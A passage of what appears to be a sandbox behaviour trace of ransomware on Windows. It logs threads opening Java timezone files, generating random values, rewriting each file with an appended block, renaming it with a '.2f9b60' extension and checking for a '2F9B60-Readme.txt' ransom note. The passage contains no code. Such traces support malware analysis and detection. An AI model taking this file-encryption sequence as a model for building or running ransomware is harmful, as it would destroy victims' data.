returned 1 [0180.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdd8cc0 [0180.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c5b0 [0180.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b1b0 [0180.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e40 [0180.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e40) returned 1 [0180.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdd8e40 [0180.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e10 [0180.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d20 [0180.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d20) returned 1 [0180.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b1b0) returned 1 [0180.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c5b0) returned 1 [0180.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x42055710 [0180.666] SetFilePointerEx (in: hFile=0x2c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.666] WriteFile (in: hFile=0x2c50, lpBuffer=0x42055710*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x312dfd50, lpOverlapped=0x0 | out: lpBuffer=0x42055710*, lpNumberOfBytesWritten=0x312dfd50*=0x102, lpOverlapped=0x0) returned 1 [0184.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053760 [0184.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053760) returned 1 [0184.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d880 [0184.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053760 [0184.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0184.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0184.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x42052440 [0184.463] sprintf (in: _Dest=0x42052440, _Format="%c%c" | out: _Dest="73") returned 2 [0184.463] sprintf (in: _Dest=0x42052442, _Format="%c%c" | out: _Dest="e5") returned 2 [0184.463] sprintf (in: _Dest=0x42052444, _Format="%c%c" | out: _Dest="b3") returned 2 [0184.463] sprintf (in: _Dest=0x42052446, _Format="%c%c" | out: _Dest="51") returned 2 [0184.463] sprintf (in: _Dest=0x42052448, _Format="%c%c" | out: _Dest="9d") returned 2 [0184.463] sprintf (in: _Dest=0x4205244a, _Format="%c%c" | out: _Dest="c7") returned 2 [0184.464] sprintf (in: _Dest=0x4205244c, _Format="%c%c" | out: _Dest="b4") returned 2 [0184.464] sprintf (in: _Dest=0x4205244e, _Format="%c%c" | out: _Dest="c4") returned 2 [0184.464] sprintf (in: _Dest=0x42052450, _Format="%c%c" | out: _Dest="1d") returned 2 [0184.464] sprintf (in: _Dest=0x42052452, _Format="%c%c" | out: _Dest="4f") returned 2 [0184.464] sprintf (in: _Dest=0x42052454, _Format="%c%c" | out: _Dest="ec") returned 2 [0184.464] sprintf (in: _Dest=0x42052456, _Format="%c%c" | out: _Dest="9d") returned 2 [0184.464] sprintf (in: _Dest=0x42052458, _Format="%c%c" | out: _Dest="76") returned 2 [0184.464] sprintf (in: _Dest=0x4205245a, _Format="%c%c" | out: _Dest="d4") returned 2 [0184.464] sprintf (in: _Dest=0x4205245c, _Format="%c%c" | out: _Dest="a0") returned 2 [0184.464] sprintf (in: _Dest=0x4205245e, _Format="%c%c" | out: _Dest="bb") returned 2 [0184.464] RtlInitAnsiString (in: DestinationString=0x312dfdc8, SourceString="73e5b3519dc7b4c41d4fec9d76d4a0bb" | out: DestinationString="73e5b3519dc7b4c41d4fec9d76d4a0bb") [0184.464] RtlAnsiStringToUnicodeString (in: DestinationString=0x312dfd98, SourceString="73e5b3519dc7b4c41d4fec9d76d4a0bb", AllocateDestinationString=1 | out: DestinationString="73e5b3519dc7b4c41d4fec9d76d4a0bb") returned 0x0 [0184.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd978a0 [0184.465] RtlFreeAnsiString (AnsiString="7") [0184.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0184.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d880) returned 1 [0184.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053760) returned 1 [0184.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055710) returned 1 [0184.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e40) returned 1 [0184.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e10) returned 1 [0184.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8cc0) returned 1 [0184.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d80) returned 1 [0184.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18300) returned 1 [0184.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18180) returned 1 [0184.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180c0) returned 1 [0184.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c234d0 [0184.470] wcscat (in: _Dest=0x42c234d0, _Source="73e5b351" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\73e5b351") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\73e5b351" [0184.470] wcscat (in: _Dest=0x42c234d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\73e5b351.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\73e5b351.2f9b60" [0184.470] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\73e5b351.2f9b60", NtPathName=0x312dfd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\73e5b351.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050ba00 Thread: id = 2841 os_tid = 0xe2c [0160.262] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\nairobi")) returned 0x20 [0165.820] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi", dwFileAttributes=0x20) returned 1 [0166.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\nairobi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2be0 [0167.704] GetFileSizeEx (in: hFile=0x2be0, lpFileSize=0x450dfcc0 | out: lpFileSize=0x450dfcc0*=97) returned 1 [0167.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c50 [0167.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0aa0 [0167.705] NtQuerySystemTime (in: CurrentTime=0x450dfb80 | out: CurrentTime=0x450dfb80*=132462177728242000) returned 0x0 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x1a58494a [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x1b9ee5c0 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x39de7360 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x71bb3065 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x210f37be [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x531ba0d8 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x10efc01e [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x5228150a [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x50220bc5 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x57f86bfc [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x2d0d4b68 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x5a20fc44 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x75a63bf1 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x264bbc01 [0167.705] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x8b1530e [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x710fee99 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x235bbfa9 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x4d6d1fef [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x6f6f2a1e [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x1b8d730c [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x37f36252 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x30e1b7fe [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x57ef168f [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x5596ffb1 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x5d9b2bde [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x72cb8f56 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0xff9fb29 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x6c1844d9 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x401e9639 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x4f247da5 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x166a40e3 [0167.706] RtlRandomEx (in: Seed=0x450dfb70 | out: Seed=0x450dfb70) returned 0x47551829 [0167.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a70 [0167.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0167.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a10 [0167.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0167.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0aa0) returned 1 [0167.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bca0 [0167.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0167.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb1d40 [0167.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f978d0 [0167.718] ReadFile (in: hFile=0x2be0, lpBuffer=0x41fb1d40, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x450dfb70, lpOverlapped=0x0 | out: lpBuffer=0x41fb1d40*, lpNumberOfBytesRead=0x450dfb70*=0x61, lpOverlapped=0x0) returned 1 [0167.719] SetFilePointerEx (in: hFile=0x2be0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.719] WriteFile (in: hFile=0x2be0, lpBuffer=0x41f978d0*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x450dfb74, lpOverlapped=0x0 | out: lpBuffer=0x41f978d0*, lpNumberOfBytesWritten=0x450dfb74*=0x61, lpOverlapped=0x0) returned 1 [0184.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec70d0 [0184.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7100 [0184.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7100) returned 1 [0184.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f978d0) returned 1 [0184.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb1d40) returned 1 [0184.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0184.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bca0) returned 1 [0184.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec7100 [0184.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bca0 [0184.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0184.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7130 [0184.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7130) returned 1 [0184.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec7130 [0184.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7160 [0184.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7190 [0184.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7190) returned 1 [0184.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0184.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bca0) returned 1 [0184.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x431bc720 [0191.976] SetFilePointerEx (in: hFile=0x2be0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.976] WriteFile (in: hFile=0x2be0, lpBuffer=0x431bc720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x450dfc90, lpOverlapped=0x0 | out: lpBuffer=0x431bc720*, lpNumberOfBytesWritten=0x450dfc90*=0x100, lpOverlapped=0x0) returned 1 [0207.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaee0 [0207.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267740 [0207.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267740) returned 1 [0207.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d6c0 [0207.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267740 [0207.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0207.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0207.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0207.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x202678c0 [0207.483] sprintf (in: _Dest=0x202678c0, _Format="%c%c" | out: _Dest="86") returned 2 [0207.483] sprintf (in: _Dest=0x202678c2, _Format="%c%c" | out: _Dest="e6") returned 2 [0207.483] sprintf (in: _Dest=0x202678c4, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.483] sprintf (in: _Dest=0x202678c6, _Format="%c%c" | out: _Dest="33") returned 2 [0207.483] sprintf (in: _Dest=0x202678c8, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.483] sprintf (in: _Dest=0x202678ca, _Format="%c%c" | out: _Dest="91") returned 2 [0207.483] sprintf (in: _Dest=0x202678cc, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.483] sprintf (in: _Dest=0x202678ce, _Format="%c%c" | out: _Dest="77") returned 2 [0207.483] sprintf (in: _Dest=0x202678d0, _Format="%c%c" | out: _Dest="46") returned 2 [0207.483] sprintf (in: _Dest=0x202678d2, _Format="%c%c" | out: _Dest="1e") returned 2 [0207.483] sprintf (in: _Dest=0x202678d4, _Format="%c%c" | out: _Dest="90") returned 2 [0207.483] sprintf (in: _Dest=0x202678d6, _Format="%c%c" | out: _Dest="eb") returned 2 [0207.483] sprintf (in: _Dest=0x202678d8, _Format="%c%c" | out: _Dest="86") returned 2 [0207.483] sprintf (in: _Dest=0x202678da, _Format="%c%c" | out: _Dest="88") returned 2 [0207.483] RtlInitAnsiString (in: DestinationString=0x450dfd08, SourceString="86e61b33cf91f577461e90eb8688" | out: DestinationString="86e61b33cf91f577461e90eb8688") [0207.484] RtlAnsiStringToUnicodeString (in: DestinationString=0x450dfcd8, SourceString="86e61b33cf91f577461e90eb8688", AllocateDestinationString=1 | out: DestinationString="86e61b33cf91f577461e90eb8688") returned 0x0 [0207.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97990 [0207.484] wcscat (in: _Dest=0x431a0c30, _Source="86e61b3" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86e61b3") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86e61b3" [0207.484] wcscat (in: _Dest=0x431a0c30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86e61b3.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86e61b3.2f9b60" [0207.484] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86e61b3.2f9b60", NtPathName=0x450dfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86e61b3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43145170 [0237.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145170) returned 1 [0237.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316f480) returned 1 [0237.686] NtQueryInformationFile (in: FileHandle=0x2be0, IoStatusBlock=0x450dfd18, FileInformation=0x450dfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x450dfd18, FileInformation=0x450dfd28) returned 0x0 [0237.687] NtSetInformationFile (FileHandle=0x2be0, IoStatusBlock=0x450dfd18, FileInformation=0x450dfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0c30) returned 1 [0237.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0237.966] FlushFileBuffers (hFile=0x2be0) returned 1 [0238.242] CloseHandle (hObject=0x2be0) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a2cc0 [0241.691] wcscpy (in: _Dest=0x431a2cc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.692] wcscat (in: _Dest=0x431a2cc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.692] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2cc0) returned 1 [0243.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5ee00) returned 1 Thread: id = 2842 os_tid = 0x804 [0160.263] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ndjamena")) returned 0x20 [0165.821] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena", dwFileAttributes=0x20) returned 1 [0167.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ndjamena"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c5c [0168.030] GetFileSizeEx (in: hFile=0x2c5c, lpFileSize=0x4503fce0 | out: lpFileSize=0x4503fce0*=89) returned 1 [0168.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c181b0 [0168.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180f0 [0168.031] NtQuerySystemTime (in: CurrentTime=0x4503fba0 | out: CurrentTime=0x4503fba0*=132462177731518000) returned 0x0 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0xc4650f2 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x6ef9f727 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x387e460b [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x4d3c87f7 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x6170e591 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x1a14947d [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x3b6a0b3 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x48b285cb [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x4206b6f2 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x560bfdf1 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x63d8a24b [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x2ea7b920 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x648055cf [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x21a822e1 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x3531bdfd [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x305430a0 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x5b28f3bf [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x3e6179ff [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x2e7ce060 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x5b116744 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x732824c5 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x27b61f7f [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x651cf4b6 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x745cd270 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x60e34266 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x171edc49 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x52e29076 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x18c6bcef [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x1f9b97e0 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x98c1bd4 [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x3731b5ac [0168.031] RtlRandomEx (in: Seed=0x4503fb90 | out: Seed=0x4503fb90) returned 0x280c5d80 [0168.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18090 [0168.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0168.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e40 [0168.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0168.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180f0) returned 1 [0168.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c600 [0168.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0168.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 